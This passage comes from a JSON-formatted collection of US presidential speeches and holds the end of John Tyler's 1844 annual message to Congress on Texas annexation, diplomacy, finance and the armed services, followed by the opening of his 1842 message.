whom it is so\nobviously our interest to cultivate the most amicable relations; nor can I\nanticipate the occurrence of any event which would be likely in any degree\nto disturb those relations. Russia, the great northern power, under the\njudicious sway of her Emperor, is constantly advancing in the road of\nscience and improvement, while France, guided by the counsels of her wise\nSovereign, pursues a course calculated to consolidate the general peace.\nSpain has obtained a breathing spell of some duration from the internal\nconvulsions which have through so many years marred her prosperity, while\nAustria, the Netherlands, Prussia, Belgium, and the other powers of Europe\nreap a rich harvest of blessings from the prevailing peace.I informed the two Houses of Congress in my message of December last that\ninstructions had been given to Mr. Wheaton, our minister at Berlin, to\nnegotiate a treaty with the Germanic States composing the Zollverein if it\ncould be done, stipulating, as far as it was practicable to accomplish it,\nfor a reduction of the heavy and onerous duties levied on our tobacco and\nother leading articles of agricultural production, and yielding in return\non our part a reduction of duties on such articles the product of their\nindustry as should not come into competition, or but a limited one, with\narticles the product of our manufacturing industry. The Executive in giving\nsuch instructions considered itself as acting in strict conformity with the\nwishes of Congress as made known through several measures which it had\nadopted, all directed to the accomplishment of this important result. The\ntreaty was therefore negotiated, by which essential reductions were secured\nin the duties levied by the Zollverein on tobacco, rice, and lard,\naccompanied by a stipulation for the admission of raw cotton free of duty;\nin exchange for which highly important concessions a reduction of duties\nimposed by the laws of the United States on a variety of articles, most of\nwhich were admitted free of all duty under the act of Congress commonly\nknown as the compromise law, and but few of which were produced in the\nUnited States, was stipulated for on our part. This treaty was communicated\nto the Senate at an early day of its last session, but not acted upon until\nnear its close, when, for the want (as I am bound to presume) of full time\nto consider it, it was laid upon the table. This procedure had the effect\nof virtually rejecting it, in consequence of a stipulation contained in the\ntreaty that its ratifications should be exchanged on or before a day which\nhas already passed. The Executive, acting upon the fair inference that the\nSenate did not intend its absolute rejection, gave instructions to our\nminister at Berlin to reopen the negotiation so far as to obtain an\nextension of time for the exchange of ratifications. I regret, however, to\nsay that his efforts in this respect have been unsuccessful. I am\nnevertheless not without hope that the great advantages which were intended\nto be secured by the treaty may yet be realized.I am happy to inform you that Belgium has, by an \"arrete royale\" issued in\nJuly last, assimilated the flag of the United States to her own, so far as\nthe direct trade between the two countries is concerned. This measure will\nprove of great service to our shipping interest, the trade having\nheretofore been carried on chiefly in foreign bottoms. I flatter myself\nthat she will speedily resort to a modification of her system relating to\nthe tobacco trade, which would decidedly benefit the agriculture of the\nUnited States and operate to the mutual advantage of both countries.No definitive intelligence has yet been received from our minister of the\nconclusion of a treaty with the Chinese Empire, but enough is known to\ninduce the strongest hopes that the mission will be crowned with success.With Brazil our relations continue on the most friendly footing. The\ncommercial intercourse between that growing Empire and the United States is\nbecoming daily of greater importance to both, and it is to the interest of\nboth that the firmest relations of amity and good will should continue to\nbe cultivated between them.The Republic of New Granada still withholds, notwithstanding the most\npersevering efforts have been employed by our charge d'affaires, Mr.\nBlackford, to produce a different result, indemnity in the case of the brig\nMorris; and the Congress of Venezuela, although an arrangement has been\neffected between our minister and the minister of foreign affairs of that\nGovernment for the payment of $18,000 in discharge of its liabilities in\nthe same case, has altogether neglected to make provision for its payment.\nIt is to be hoped that a sense of justice will soon induce a settlement of\nthese claims.Our late minister to Chili, Mr. Pendleton, has returned to the United\nStates without having effected an adjustment in the second claim of the\nMacedonian, which is delayed on grounds altogether frivolous and untenable.\nMr. Pendleton's successor has been directed to urge the claim in the\nstrongest terms, and, in the event of a failure to obtain a prompt\nadjustment, to report the fact to the Executive at as early a day as\npossible, so that the whole matter may be communicated to Congress.At your last session I submitted to the attention of Congress the\nconvention with the Republic of Peru of the 17th March, 1841, providing for\nthe adjustment of the claims of citizens of the United States against that\nRepublic, but no definitive action was taken upon the subject. I again\ninvite to it your attention and prompt action.In my last annual message I felt it to be my duty to make known to\nCongress, in terms both plain and emphatic, my opinion in regard to the war\nwhich has so long existed between Mexico and Texas which since the battle\nof San Jacinto has consisted altogether of predatory incursions, attended\nby circumstances revolting to humanity. I repeat now what I then said, that\nafter eight years of feeble and ineffectual efforts to reconquer Texas it\nwas time that the war should have ceased. The United States have a direct\ninterest in the question. The contiguity of the two nations to our\nterritory was but too well calculated to involve our peace. Unjust\nsuspicions were engendered in the mind of one or the other of the\nbelligerents against us, and as a necessary consequence American interests\nwere made to suffer and our peace became daily endangered; in addition to\nwhich it must have been obvious to all that the exhaustion produced by the\nwar subjected both Mexico and Texas to the interference of other powers,\nwhich, without the interposition of this Government, might eventuate in the\nmost serious injury to the United States. This Government from time to time\nexerted its friendly offices to bring about a termination of hostilities\nupon terms honorable alike to both the belligerents. Its efforts in this\nbehalf proved unavailing. Mexico seemed almost without an object to\npersevere in the war, and no other alternative was left the Executive but\nto take advantage of the well-known dispositions of Texas and to invite her\nto enter into a treaty for annexing her territory to that of the United\nStates.Since your last session Mexico has threatened to renew the war, and has\neither made or proposes to make formidable preparations for invading Texas.\nShe has issued decrees and proclamations, preparatory to the commencement\nof hostilities, full of threats revolting to humanity, and which if carried\ninto effect would arouse the attention of all Christendom. This new\ndemonstration of feeling, there is too much reason to believe, has been\nproduced in consequence of the negotiation of the late treaty of annexation\nwith Texas. The Executive, therefore, could not be indifferent to such\nproceedings, and it felt it to be due as well to itself as to the honor of\nthe country that a strong representation should be made to the Mexican\nGovernment upon the subject. This was accordingly done, as will be seen by\nthe copy of the accompanying dispatch from the Secretary of State to the\nUnited States envoy at Mexico. Mexico has no right to jeopard the peace of\nthe world by urging any longer a useless and fruitless contest. Such a\ncondition of things would not be tolerated on the European continent. Why\nshould it be on this? A war of desolation, such as is now threatened by\nMexico, can not be waged without involving our peace and tranquillity. It\nis idle to believe that such a war could be looked upon with indifference\nby our own citizens inhabiting adjoining States; and our neutrality would\nbe violated in despite of all efforts on the part of the Government to\nprevent it. The country is settled by emigrants from the United States\nunder invitations held out to them by Spain and Mexico. Those emigrants\nhave left behind them friends and relatives, who would not fail to\nsympathize with them in their difficulties, and who would be led by those\nsympathies to participate in their struggles, however energetic the action\nof the Government to prevent it. Nor would the numerous and formidable\nbands of Indians--the most warlike to be found in any land--which\noccupy the extensive regions contiguous to the States of Arkansas and\nMissouri, and who are in possession of large tracts of country within the\nlimits of Texas, be likely to remain passive. The inclinations of those\nnumerous tribes lead them invariably to war whenever pretexts exist.Mexico had no just ground of displeasure against this Government or people\nfor negotiating the treaty. What interest of hers was affected by the\ntreaty? She was despoiled of nothing, since Texas was forever lost to her.\nThe independence of Texas was recognized by several of the leading powers\nof the earth. She was free to treat, free to adopt her own line of policy,\nfree to take the course which she believed was best calculated to secure\nher happiness.Her Government and people decided on annexation to the United States, and\nthe Executive saw in the acquisition of such a territory the means of\nadvancing their permanent happiness and glory. What principle of good\nfaith, then, was violated? What rule of political morals trampled under\nfoot? So far as Mexico herself was concerned, the measure should have been\nregarded by her as highly beneficial. Her inability to reconquer Texas had\nbeen exhibited, I repeat, by eight (now nine) years of fruitless and\nruinous contest. In the meantime Texas has been growing in population and\nresources. Emigration has flowed into her territory from all parts of the\nworld in a current which continues to increase in strength. Mexico requires\na permanent boundary between that young Republic and herself. Texas at no\ndistant day, if she continues separate and detached from the United States,\nwill inevitably seek to consolidate her strength by adding to her domain\nthe contiguous Provinces of Mexico. The spirit of revolt from the control\nof the central Government has heretofore manifested itself in some of those\nProvinces, and it is fair to infer that they would be inclined to take the\nfirst favorable opportunity to proclaim their independence and to form\nclose alliances with Texas. The war would thus be endless, or if cessations\nof hostilities should occur they would only endure for a season. The\ninterests of Mexico, therefore, could in nothing be better consulted than\nin a peace with her neighbors which would result in the establishment of a\npermanent boundary. Upon the ratification of the treaty the Executive was\nprepared to treat with her on the most liberal basis. Hence the boundaries\nof Texas were left undefined by the treaty. The Executive proposed to\nsettle these upon terms that all the world should have pronounced just and\nreasonable. No negotiation upon that point could have been undertaken\nbetween the United States and Mexico in advance of the ratification of the\ntreaty. We should have had no right, no power, no authority, to have\nconducted such a negotiation, and to have undertaken it would have been an\nassumption equally revolting to the pride of Mexico and Texas and\nsubjecting us to the charge of arrogance, while to have proposed in advance\nof annexation to satisfy Mexico for any contingent interest she might have\nin Texas would have been to have treated Texas not as an independent power,\nbut as a mere dependency of Mexico. This assumption could not have been\nacted on by the Executive without setting at defiance your own solemn\ndeclaration that that Republic was an independent State. Mexico had, it is\ntrue, threatened war against the United States in the event the treaty of\nannexation was ratified. The Executive could not permit itself to be\ninfluenced by this threat. It represented in this the spirit of our people,\nwho are ready to sacrifice much for peace, but nothing to intimidation. A\nwar under any circumstances is greatly to be deplored, and the United\nStates is the last nation to desire it; but if, as the condition of peace,\nit be required of us to forego the unquestionable right of treating with an\nindependent power of our own continent upon matters highly interesting to\nboth, and that upon a naked and unsustained pretension of claim by a third\npower to control the free will of the power with whom we treat, devoted as\nwe may be to peace and anxious to cultivate friendly relations with the\nwhole world, the Executive does not hesitate to say that the people of the\nUnited States would be ready to brave all consequences sooner than submit\nto such condition. But no apprehension of war was entertained by the\nExecutive, and I must express frankly the opinion that had the treaty been\nratified by the Senate it would have been followed by a prompt settlement,\nto the entire satisfaction of Mexico, of every matter in difference between\nthe two countries. Seeing, then, that new preparations for hostile invasion\nof Texas were about to be adopted by Mexico, and that these were brought\nabout because Texas had adopted the suggestions of the Executive upon the\nsubject of annexation, it could not passively have folded its arms and\npermitted a war, threatened to be accompanied by every act that could mark\na barbarous age, to be waged against her because she had done so.Other considerations of a controlling character influenced the course of\nthe Executive. The treaty which had thus been negotiated had failed to\nreceive the ratification of the Senate. One of the chief objections which\nwas urged against it was found to consist in the fact that the question of\nannexation had not been submitted to the ordeal of public opinion in the\nUnited States. However untenable such an objection was esteemed to be, in\nview of the unquestionable power of the Executive to negotiate the treaty\nand the great and lasting interests involved in the question, I felt it to\nbe my duty to submit the whole subject to Congress as the best expounders\nof popular sentiment. No definitive action having been taken on the subject\nby Congress, the question referred itself directly to the decision of the\nStates and people. The great popular election which has just terminated\nafforded the best opportunity of ascertaining the will of the States and\nthe people upon it. Pending that issue it became the imperative duty of the\nExecutive to inform Mexico that the question of annexation was still before\nthe American people, and that until their decision was pronounced any\nserious invasion of Texas would be regarded as an attempt to forestall\ntheir judgment and could not be looked upon with indifference. I am most\nhappy to inform you that no such invasion has taken place; and I trust that\nwhatever your action may be upon it Mexico will see the importance of\ndeciding the matter by a resort to peaceful expedients in preference to\nthose of arms. The decision of the people and the States on this great and\ninteresting subject has been decisively manifested. The question of\nannexation has been presented nakedly to their consideration. By the treaty\nitself all collateral and incidental issues which were calculated to divide\nand distract the public councils were carefully avoided. These were left to\nthe wisdom of the future to determine. It presented, I repeat, the isolated\nquestion of annexation, and in that form it has been submitted to the\nordeal of public sentiment. A controlling majority of the people and a\nlarge majority of the States have declared in favor of immediate\nannexation. Instructions have thus come up to both branches of Congress\nfrom their respective constituents in terms the most emphatic. It is the\nwill of both the people and the States that Texas shall be annexed to the\nUnion promptly and immediately. It may be hoped that in carrying into\nexecution the public will thus declared all collateral issues may be\navoided. Future Legislatures can best decide as to the number of States\nwhich should be formed out of the territory when the time has arrived for\ndeciding that question. So with all others. By the treaty the United States\nassumed the payment of the debts of Texas to an amount not exceeding\n$10,000,000, to be paid, with the exception of a sum falling short of\n$400,000, exclusively out of the proceeds of the sales of her public lands.\nWe could not with honor take the lands without assuming the full payment of\nall incumbencies upon them.Nothing has occurred since your last session to induce a doubt that the\ndispositions of Texas remain unaltered. No intimation of an altered\ndetermination on the part of her Government and people has been furnished\nto the Executive. She still desires to throw herself under the protection\nof our laws and to partake of the blessings of our federative system, while\nevery American interest would seem to require it. The extension of our\ncoastwise and foreign trade to an amount almost incalculable, the\nenlargement of the market for our manufactures, a constantly growing market\nfor our agricultural productions, safety to our frontiers, and additional\nstrength and stability to the Union--these are the results which would\nrapidly develop themselves upon the consummation of the measure of\nannexation. In such event I will not doubt but that Mexico would find her\ntrue interest to consist in meeting the advances of this Government in a\nspirit of amity. Nor do I apprehend any serious complaint from any other\nquarter; no sufficient ground exists for such complaint. We should\ninterfere in no respect with the rights of any other nation. There can not\nbe gathered from the act any design on our part to do so with their\npossessions on this continent. We have interposed no impediments in the way\nof such acquisitions of territory, large and extensive as many of them are,\nas the leading powers of Europe have made from time to time in every part\nof the world. We seek no conquest made by war. No intrigue will have been\nresorted to or acts of diplomacy essayed to accomplish the annexation of\nTexas. Free and independent herself, she asks to be received into our\nUnion. It is a question for our own decision whether she shall be received\nor not.The two Governments having already agreed through their respective organs\non the terms of annexation, I would recommend their adoption by Congress in\nthe form of a joint resolution or act to be perfected and made binding on\nthe two countries when adopted in like manner by the Government of Texas.In order that the subject may be fully presented in all its bearings, the\ncorrespondence which has taken place in reference to it since the\nadjournment of Congress between the United States, Texas, and Mexico is\nherewith transmitted.The amendments proposed by the Senate to the convention concluded between\nthe United States and Mexico on the 20th of November, 1843, have been\ntransmitted through our minister for the concurrence of the Mexican\nGovernment, but, although urged thereto, no action has yet been had on the\nsubject, nor has any answer been given which would authorize a favorable\nconclusion in the future.The decree of September, 1843, in relation to the retail trade, the order\nfor the expulsion of foreigners, and that of a more recent date in regard\nto passports--all which are considered as in violation of the treaty of\namity and commerce between the two countries--have led to a correspondence\nof considerable length between the minister for foreign relations and our\nrepresentatives at Mexico, but without any satisfactory result. They remain\nstill unadjusted, and many and serious inconveniences have already resulted\nto our citizens in consequence of them.Questions growing out of the act of disarming a body of Texan troops under\nthe command of Major Snively by an officer in the service of the United\nStates, acting under the orders of our Government, and the forcible entry\ninto the custom-house at Bryarlys Landing, on Red River, by certain\ncitizens of the United States, and taking away therefrom the goods seized\nby the collector of the customs as forfeited under the laws of Texas, have\nbeen adjusted so far as the powers of the Executive extend. The\ncorrespondence between the two Governments in reference to both subjects\nwill be found amongst the accompanying documents. It contains a full\nstatement of all the facts and circumstances, with the views taken on both\nsides and the principles on which the questions have been adjusted. It\nremains for Congress to make the necessary appropriation to carry the\narrangement into effect, which I respectfully recommend.The greatly improved condition of the Treasury affords a subject for\ngeneral congratulation. The paralysis which had fallen on trade and\ncommerce, and which subjected the Government to the necessity of resorting\nto loans and the issue of Treasury notes to a large amount, has passed\naway, and after the payment of upward of $7,000,000 on account of the\ninterest, and in redemption of more than $5,000,000 of the public debt\nwhich falls due on the 1st of January next, and setting apart upward of\n$2,000,000 for the payment of outstanding Treasury notes and meeting an\ninstallment of the debts of the corporate cities of the District of\nColumbia, an estimated surplus of upward of $7,000,000 over and above the\nexisting appropriations will remain in the Treasury at the close of the\nfiscal year. Should the Treasury notes continue outstanding as heretofore,\nthat surplus will be considerably augmented. Although all interest has\nceased upon them and the Government has invited their return to the\nTreasury, yet they remain outstanding, affording great facilities to\ncommerce, and establishing the fact that under a well-regulated system of\nfinance the Government has resources within itself which render it\nindependent in time of need, not only of private loans, but also of bank\nfacilities.The only remaining subject of regret is that the remaining stocks of the\nGovernment do not fall due at an earlier day, since their redemption would\nbe entirely within its control. As it is, it may be well worthy the\nconsideration of Congress whether the law establishing the sinking fund\n(under the operation of which the debts of the Revolution and last war with\nGreat Britain were to a great extent extinguished) should not, with proper\nmodifications, so as to prevent an accumulation of surpluses, and limited\nin amount to a specific sum, be reenacted. Such provision, which would\nauthorize the Government to go into the market for a purchase of its own\nstock on fair terms, would serve to maintain its credit at the highest\npoint and prevent to a great extent those fluctuations in the price of its\nsecurities which might under other circumstances affect its credit. No\napprehension of this sort is at this moment entertained, since the stocks\nof the Government, which but two years ago were offered for sale to\ncapitalists at home and abroad at a depreciation, and could find no\npurchasers, are now greatly above par in the hands of the holders; but a\nwise and prudent forecast admonishes us to place beyond the reach of\ncontingency the public credit.It must also be a matter of unmingled gratification that under the existing\nfinancial system (resting upon the act of 1789 and the resolution of 1816)\nthe currency of the country has attained a state of perfect soundness; and\nthe rates of exchange between different parts of the Union, which in 1841\ndenoted by their enormous amount the great depreciation and, in fact,\nworthlessness of the currency in most of the States, are now reduced to\nlittle more than the mere expense of transporting specie from place to\nplace and the risk incident to the operation. In a new country like that of\nthe United States, where so many inducements are held out for speculation,\nthe depositories of the surplus revenue, consisting of banks of any\ndescription, when it reaches any considerable amount, require the closest\nvigilance on the part of the Government. All banking institutions, under\nwhatever denomination they may pass, are governed by an almost exclusive\nregard to the interest of the stockholders. That interest consists in the\naugmentation of profits in the form of dividends, and a large surplus\nrevenue intrusted to their custody is but too apt to lead to excessive\nloans and to extravagantly large issues of paper. As a necessary\nconsequence prices are nominally increased and the speculative mania very\nsoon seizes upon the public mind. A fictitious state of prosperity for a\nseason exists, and, in the language of the day, money becomes plenty.\nContracts are entered into by individuals resting on this unsubstantial\nstate of things, but the delusion speedily passes away and the country is\noverrun with an indebtedness so weighty as to overwhelm many and to visit\nevery department of industry with great and ruinous embarrassment. The\ngreatest vigilance becomes necessary on the part of Government to guard\nagainst this state of things. The depositories must be given distinctly to\nunderstand that the favors of the Government will be altogether withdrawn,\nor substantially diminished, if its revenues shall be regarded as additions\nto their banking capital or as the foundation of an enlarged circulation.The Government, through its revenue, has at all times an important part to\nperform in connection with the currency, and it greatly depends upon its\nvigilance and care whether the country be involved in embarrassments\nsimilar to those which it has had recently to encounter, or, aided by the\naction of the Treasury, shall be preserved in a sound and healthy\ncondition.The dangers to be guarded against are greatly augmented by too large a\nsurplus of revenue. When that surplus greatly exceeds in amount what shall\nbe required by a wise and prudent forecast to meet unforeseen\ncontingencies, the Legislature itself may come to be seized with a\ndisposition to indulge in extravagant appropriations to objects many of\nwhich may, and most probably would, be found to conflict with the\nConstitution. A fancied expediency is elevated above constitutional\nauthority, and a reckless and wasteful extravagance but too certainly\nfollows.The important power of taxation, which when exercised in its most\nrestricted form is a burthen on labor and production, is resorted to under\nvarious pretexts for purposes having no affinity to the motives which\ndictated its grant, and the extravagance of Government stimulates\nindividual extravagance until the spirit of a wild and ill-regulated\nspeculation involves one and all in its unfortunate results. In view of\nsuch fatal consequences, it may be laid down as an axiom rounded in moral\nand political truth that no greater taxes should be imposed than are\nnecessary for an economical administration of the Government, and that\nwhatever exists beyond should be reduced or modified. This doctrine does in\nno way conflict with the exercise of a sound discrimination in the\nselection of the articles to be taxed, which a due regard to the public\nweal would at all times suggest to the legislative mind. It leaves the\nrange of selection undefined; and such selection should always be made with\nan eye to the great interests of the country. Composed as is the Union of\nseparate and independent States, a patriotic Legislature will not fail in\nconsulting the interests of the parts to adopt such course as will be best\ncalculated to advance the harmony of the whole, and thus insure that\npermanency in the policy of the Government without which all efforts to\nadvance the public prosperity are vain and fruitless.This great and vitally important task rests with Congress, and the\nExecutive can do no more than recommend the general principles which should\ngovern in its execution.I refer you to the report of the Secretary of War for an exhibition of the\ncondition of the Army, and recommend to you as well worthy your best\nconsideration many of the suggestions it contains. The Secretary in no\ndegree exaggerates the great importance of pressing forward without delay\nin the work of erecting and finishing the fortifications to which he\nparticularly alludes. Much has been done toward placing our cities and\nroadsteads in a state of security against the hazards of hostile attack\nwithin the last four years; but considering the new elements which have\nbeen of late years employed in the propelling of ships and the formidable\nimplements of destruction which have been brought into service, we can not\nbe too active or vigilant in preparing and perfecting the means of defense.\nI refer you also to his report for a full statement of the condition of the\nIndian tribes within our jurisdiction. The Executive has abated no effort\nin carrying into effect the well-established policy of the Government which\ncontemplates a removal of all the tribes residing within the limits of the\nseveral States beyond those limits, and it is now enabled to congratulate\nthe country at the prospect of an early consummation of this object. Many\nof the tribes have already made great progress in the arts of civilized\nlife, and through the operation of the schools established among them,\naided by the efforts of the pious men of various religious denominations\nwho devote themselves to the task of their improvement, we may fondly hope\nthat the remains of the formidable tribes which were once masters of this\ncountry will in their transition from the savage state to a condition of\nrefinement and cultivation add another bright trophy to adorn the labors of\na well-directed philanthropy.The accompanying report of the Secretary of the Navy will explain to you\nthe situation of that branch of the service. The present organization of\nthe Department imparts to its operations great efficiency, but I concur\nfully in the propriety of a division of the Bureau of Construction,\nEquipment, Increase, and Repairs into two bureaus. The subjects as now\narranged are incongruous, and require to a certain extent information and\nqualifications altogether dissimilar.The operations of the squadron on the coast of Africa have been conducted\nwith all due attention to the object which led to its origination, and I am\nhappy to say that the officers and crews have enjoyed the best possible\nhealth under the system adopted by the officer in command. It is believed\nthat the United States is the only nation which has by its laws subjected\nto the punishment of death as pirates those who may be engaged in the slave\ntrade. A similar enactment on the part of other nations would not fail to\nbe attended by beneficial results.In consequence of the difficulties which have existed in the way of\nsecuring titles for the necessary grounds, operations have not yet been\ncommenced toward the establishment of the navy-yard at Memphis. So soon as\nthe title is perfected no further delay will be permitted to intervene. It\nis well worthy of your consideration whether Congress should not direct the\nestablishment of a ropewalk in connection with the contemplated navy-yard,\nas a measure not only of economy, but as highly useful and necessary. The\nonly establishment of the sort now connected with the service is located at\nBoston, and the advantages of a similar establishment convenient to the\nhemp-growing region must be apparent to all.The report of the Secretary presents other matters to your consideration of\nan important character in connection with the service.In referring you to the accompanying report of the Postmaster-General it\naffords me continued cause of gratification to be able to advert to the\nfact that the affairs of the Department for the last four years have been\nso conducted as from its unaided resources to meet its large expenditures.\nOn my coming into office a debt of nearly $500,000 existed against the\nDepartment, which Congress discharged by an appropriation from the\nTreasury. The Department on the 4th of March next will be found, under the\nmanagement of its present efficient head, free of debt or embarrassment,\nwhich could only have been done by the observance and practice of the\ngreatest vigilance and economy. The laws have contemplated throughout that\nthe Department should be self-sustained, but it may become necessary, with\nthe wisest regard to the public interests, to introduce amendments and\nalterations in the system.There is a strong desire manifested in many quarters so to alter the tariff\nof letter postage as to reduce the amount of tax at present imposed. Should\nsuch a measure be carried into effect to the full extent desired, it can\nnot well be doubted but that for the first years of its operation a\ndiminished revenue would be collected, the supply of which would\nnecessarily constitute a charge upon the Treasury. Whether such a result\nwould be desirable it will be for Congress in its wisdom to determine. It\nmay in general be asserted as true that radical alterations in any system\nshould rather be brought about gradually than by sudden changes and by\npursuing this prudent policy in the reduction of letter postage the\nDepartment might still sustain itself through the revenue which would\naccrue by the increase of letters. The state and condition of the public\nTreasury has heretofore been such as to have precluded the recommendation\nof any material change. The difficulties upon this head have, however,\nceased, and a larger discretion is now left to the Government.I can not too strongly urge the policy of authorizing the establishment of\na line of steamships regularly to ply between this country and foreign\nports and upon our own waters for the transportation of the mail. The\nexample of the British Government is well worthy of imitation in this\nrespect. The belief is strongly entertained that the emoluments arising\nfrom the transportation of mail matter to foreign countries would operate\nof itself as an inducement to cause individual enterprise to undertake that\nbranch of the task, and the remuneration of the Government would consist in\nthe addition readily made to our steam navy in case of emergency by the\nships so employed. Should this suggestion meet your approval, the propriety\nof placing such ships under the command of experienced officers of the Navy\nwill not escape your observation. The application of steam to the purposes\nof naval warfare cogently recommends an extensive steam marine as important\nin estimating the defenses of the country. Fortunately this may be obtained\nby us to a great extent without incurring any large amount of expenditure.\nSteam vessels to be engaged in the transportation of the mails on our\nprincipal water courses, lakes, and ports of our coast could also be so\nconstructed as to be efficient as war vessels when needed, and would of\nthemselves constitute a formidable force in order to repel attacks from\nabroad.. We can not be blind to the fact that other nations have already\nadded large numbers of steamships to their naval armaments and that this\nnew and powerful agent is destined to revolutionize the condition of the\nworld. It becomes the United States, therefore, looking to their security,\nto adopt a similar policy, and the plan suggested will enable them to do so\nat a small comparative cost.I take the greatest pleasure in bearing testimony to the zeal and untiring\nindustry which has characterized the conduct of the members of the\nExecutive Cabinet. Each in his appropriate sphere has rendered me the most\nefficient aid in carrying on the Government, and it will not, I trust,\nappear out of place for me to bear this public testimony. The cardinal\nobjects which should ever be held in view by those intrusted with the\nadministration of public affairs are rigidly, and without favor or\naffection, so to interpret the national will expressed in the laws as that\ninjustice should be done to none, justice to all. This has been the rule\nupon which they have acted, and thus it is believed that few cases, if any,\nexist wherein our fellow-citizens, who from time to time have been drawn to\nthe seat of Government for the settlement of their transactions with the\nGovernment, have gone away dissatisfied. Where the testimony has been\nperfected and was esteemed satisfactory their claims have been promptly\naudited, and this in the absence of all favoritism or partiality. The\nGovernment which is not just to its own people can neither claim their\naffection nor the respect of the world. At the same time, the Closest\nattention has been paid to those matters which relate more immediately to\nthe great concerns of the country. Order and efficiency in each branch of\nthe public service have prevailed, accompanied by a system of the most\nrigid responsibility on the part of the receiving and disbursing agents.\nThe fact, in illustration of the truth of this remark, deserves to be\nnoticed that the revenues of the Government, amounting in the last four\nyears to upward of $120,000,000, have been collected and disbursed through\nthe numerous governmental agents without the loss by default of any amount\nworthy of serious commentary.The appropriations made by Congress for the improvement of the rivers of\nthe West and of the harbors on the Lakes are in a course of judicious\nexpenditure under suitable agents, and are destined, it is to be hoped, to\nrealize all the benefits designed to be accomplished by Congress. I can\nnot, however, sufficiently impress upon Congress the great importance of\nwithholding appropriations from improvements which are not ascertained by\nprevious examination and survey to be necessary for the shelter and\nprotection of trade from the dangers of stores and tempests. Without this\nprecaution the expenditures are but too apt to inure to the benefit of\nindividuals, without reference to the only consideration which can render\nthem constitutional--the public interests and the general good.I can not too earnestly urge upon you the interests of this District, over\nwhich by the Constitution Congress has exclusive jurisdiction. It would be\ndeeply to be regretted should there be at any time ground to complain of\nneglect on the part of a community which, detached as it is from the\nparental care of the States of Virginia and Maryland, can only expect aid\nfrom Congress as its local legislature. Amongst the subjects which claim\nyour attention is the prompt organization of an asylum for the insane who\nmay be found from time to time sojourning within the District. Such course\nis also demanded by considerations which apply to branches of the public\nservice. For the necessities in this behalf I invite your particular\nattention to the report of the Secretary of the Navy.I have thus, gentlemen of the two Houses of Congress, presented you a true\nand faithful picture of the condition of public affairs, both foreign and\ndomestic. The wants of the public service are made known to you, and\nmatters of no ordinary importance are urged upon your consideration. Shall\nI not be permitted to congratulate you on the happy auspices under which\nyou have assembled and at the important change in the condition of things\nwhich has occurred in the last three years? During that period questions\nwith foreign powers of vital importance to the peace of our country have\nbeen settled and adjusted. A desolating and wasting war with savage tribes\nhas been brought to a close. The internal tranquillity of the country,\nthreatened by agitating questions, has been preserved. The credit of the\nGovernment, which had experienced a temporary embarrassment, has been\nthoroughly restored. Its coffers, which for a season were empty, have been\nreplenished. A currency nearly uniform in its value has taken the place of\none depreciated and almost worthless. Commerce and manufactures, which had\nsuffered in common with every other interest, have once more revived, and\nthe whole country exhibits an aspect of prosperity and happiness. Trade and\nbarter, no longer governed by a wild and speculative mania, rest upon a\nsolid and substantial footing, and the rapid growth of our cities in every\ndirection bespeaks most strongly the favorable circumstances by which we\nare surrounded. My happiness in the retirement which shortly awaits me is\nthe ardent hope which I experience that this state of prosperity is neither\ndeceptive nor destined to be short lived, and that measures which have not\nyet received its sanction, but which I can not but regard as closely\nconnected with the honor, the glory, and still more enlarged prosperity of\nthe country, are destined at an early day to receive the approval of\nCongress. Under these circumstances and with these anticipations I shall\nmost gladly leave to others more able than myself the noble and pleasing\ntask of sustaining the public prosperity. I shall carry with me into\nretirement the gratifying reflection that as my sole object throughout has\nbeen to advance the public good I may not entirely have failed in\naccomplishing it; and this gratification is heightened in no small degree\nby the fact that when under a deep and abiding sense of duty I have found\nmyself constrained to resort to the qualified veto it has neither been\nfollowed by disapproval on the part of the people nor weakened in any\ndegree their attachment to that great conservative feature of our\nGovernment.", 
+    "name": "John Tyler"
+}
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+{
+    "date": "December 6, 1842", 
+    "speech": "To the Senate and House of Representatives of the United States:We have continued reason to express our profound gratitude to the Great\nCreator of All Things for numberless benefits conferred upon us as a\npeople. Blessed with genial seasons, the husbandman has his garners filled\nwith abundance, and the necessaries of life, not to speak of its luxuries,\nabound in every direction. While in some other nations steady and\nindustrious labor can hardly find the means of subsistence, the greatest\nevil which we have to encounter is a surplus of production beyond the home\ndemand, which seeks, and with difficulty finds, a partial market in other\nregions. The health of the country, with partial exceptions, has for the\npast year been well preserved, and under their free and wise institutions\nthe United States are rapidly advancing toward the consummation of the high\ndestiny which an overruling Providence seems to have marked out for them.\nExempt from domestic convulsion and at peace with all the world, we are\nleft free to consult as to the best means of securing and advancing the\nhappiness of the people. Such are the circumstances under which you now\nassemble in your respective chambers and which should lead us to unite in\npraise and thanksgiving to that great Being who made us and who preserves\nus as a nation.I congratulate you, fellow-citizens, on the happy change in the aspect of\nour foreign affairs since my last annual message. Causes of complaint at\nthat time existed between the United States and Great Britain which,\nattended by irritating circumstances, threatened most seriously the public\npeace. The difficulty of adjusting amicably the questions at issue between\nthe two countries was in no small degree augmented by the lapse of time\nsince they had their origin. The opinions entertained by the Executive on\nseveral of the leading topics in dispute were frankly set forth in the\nmessage at the opening of your late session. The appointment of a special\nminister by Great Britain to the United States with power to negotiate upon\nmost of the points of difference indicated a desire on her part amicably to\nadjust them, and that minister was met by the Executive in the same spirit\nwhich had dictated his mission. The treaty consequent thereon having been\nduly ratified by the two Governments, a copy, together with the\ncorrespondence which accompanied it, is herewith communicated. I trust that\nwhilst you may see in it nothing objectionable, it may be the means of\npreserving for an indefinite period the amicable relations happily existing\nbetween the two Governments. The question of peace or war between the\nUnited States and Great Britain is a question of the deepest interest, not\nonly to themselves, but to the civilized world, since it is scarcely\npossible that a war could exist between them without endangering the peace\nof Christendom. The immediate effect of the treaty upon ourselves will be\nfelt in the security afforded to mercantile enterprise, which, no longer\napprehensive of interruption, adventures its speculations in the most\ndistant seas, and, freighted with the diversified productions of every\nland, returns to bless our own. There is nothing in the treaty which in the\nslightest degree compromits the honor or dignity of either nation. Next to\nthe settlement of the boundary line, which must always be a matter of\ndifficulty between states as between individuals, the question which seemed\nto threaten the greatest embarrassment was that connected with the African\nslave trade.By the tenth article of the treaty of Ghent it was expressly declared\nthat--Whereas the traffic in slaves is irreconcilable with the principles of\nhumanity and justice, and whereas both His Majesty and the United States\nare desirous of continuing their efforts to promote its entire abolition,\nit is hereby agreed that both the contracting parties shall use their best\nendeavors to accomplish so desirable an object.In the enforcement of the laws and treaty stipulations of Great Britain a\npractice had threatened to grow up on the part of its cruisers of\nsubjecting to visitation ships sailing under the American flag, which,\nwhile it seriously involved our maritime rights, would subject to vexation\na branch of our trade which was daily increasing, and which required the\nfostering care of 